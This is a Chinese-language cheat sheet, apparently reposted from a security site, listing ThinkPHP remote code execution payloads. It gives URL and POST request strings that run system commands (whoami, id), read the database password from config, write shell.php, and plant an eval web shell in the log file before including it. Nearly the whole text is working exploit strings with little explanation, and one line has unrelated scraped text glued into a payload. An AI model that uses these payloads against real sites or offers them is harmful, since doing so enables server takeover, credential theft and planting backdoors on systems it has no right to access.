thinkPHP命令执⾏漏洞
thinkPHP中反斜杠的作⽤是类库\命名空间
命令执⾏的姿势
通过反射invokefunction调⽤call_user_func_array⽅法,call_user_func_array函数接受两个参数,第⼀个为函数名,第⼆个为函数参数数组,如下所⽰,通过call_user_func_array函数调⽤system执⾏whoami函数
ueditor漏洞php如何解决s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
执⾏php代码
s=index/\think\Request/input&filter=phpinfo&data=1
获取当前数据库名称
s=index/think\config/get&name=database.hostname
获取当前数据库密码
s=index/think\config/get&name=database.password
执⾏php代码
s=index/\think\view\driver\Php/display&content=<php%20phpinfo();>
执⾏php代码
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执⾏php代码
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
执⾏php代码
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执⾏php代码
s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
getshell的姿势
写⼊getshell (file_put_contents应该也⾏)
s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<php%20phpinfo();>
使⽤echo写⼊shell
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('','test.php')
⼀种新的⽅法
先判断以下代码是否能正常回显
使⽤post⽅法请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
写⼊shell到⽇志中
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>
使⽤⽂件包含将⽇志⽂件可当作php⽂件进⾏执⾏(注意⽇志⽂件路径和名称)
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log
通过⼀句话copy新⼀句话⽂件(echo)
post请求
请求实体:index.php?s=captcha
请求路径:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("","/web绝对路径/2.php");
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论